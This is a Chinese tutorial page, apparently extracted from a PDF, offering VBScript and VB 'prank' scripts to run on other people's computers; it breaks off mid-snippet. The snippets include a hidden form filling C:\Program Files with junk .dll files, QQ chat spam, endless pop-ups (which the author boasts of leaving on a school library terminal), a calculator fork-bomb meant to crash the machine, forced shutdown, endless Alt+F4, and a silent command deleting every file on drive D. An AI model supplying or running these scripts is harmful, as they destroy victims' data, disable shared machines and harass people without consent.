VBS整人代码讲解.pdfVIP

VBS 整人代码： vbs 整人代码 代码如下： 复制代码 代码如下: Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer() 声明变量，其中“count ”为静态变量，以便生成不同的文件 Dim files As String Dim nr As String Dim c As String Static count As Long 定义要把生成的文件存放在那个目录文件下 c = C:\Program Files\ 生成文件的内容 nr = 哈哈，被黑的感觉的不错吧 files = FreeFile 如果a 等于a 那么就执行 If a = a Then count 不断的加1，以便产生不同的文件名 count = count + 1 产生文件名及文件句柄，并用count 作为产生不同的文件名。 Open c system count .dll For Append As #files 向文件写内容 Write #files, nr 清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示 Close #files End If End Sub 一、你打开好友的聊天对话框,然后记下在你 里好友的昵称,把下面代码里的xx 替换一下, 就可以自定义发送 信息到好友的次数(代码里的数字10 改一下即可). xx.vbs= 复制代码 代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject(wscript.shell) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(与 xx 聊天中) wsh.sendKeys ^v wsh.sendKeys i wsh.sendKeys %s next wscript.quit QQ 骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 do msgbox You are foolish! loop 三、打开无数个计算器，直到死机 set wsh=createobject(wscript.shell) do wsh.run calc loop 四、直接关机 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run shutdown -f -s -t 00,0 ,tru 五、删除D:\所有文件 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd /c del d:\*.* / f /q /s,0 ,tru 六、不断弹出窗口 复制代码 代码如下: while(1) msgbox 哈哈 你被耍了！ loop 七、不断按下alt+f4 （开什么都关闭……） 复制代码 代码如下: dim WSHshell set WSHshell = wscript.createobject(wscript.shell) while(1) WSHshell.SendKeys %{F4} loop 八、按500 次回车 ( 以上代码在运行者的电脑上显示500 个对话框。其中 do until s=500 ，500 可以随意更改) 复制代码 代码如下: dim s do until s=500 s=s+1 msgbox 哥们，给我按500 次回车 ,64 loop 九、关不掉的窗口 复制代码 代码如下: WScript.Echo(嘿，谢谢你打开我哦，我等你很久拉！TSName) WScript.Echo(你是可爱的小朋吗?) WScript.Echo(哈,小杰想你拉，这你都不知道吗？) WScript.Echo(怎么才来，说~是不是不关心我) WScript.Echo(哼,我生气拉，等你这么久，心都凉啦。) WScript.Echo(小强很生气，后果很严重哦。) WScript.Echo(嘿嘿！你也会很惨滴哦) WScript.Echo(是不是想清除我？) WScript.Echo(那你要点上50 下哦，不过会给你惊喜滴) WScript.Echo(还剩49 下，快点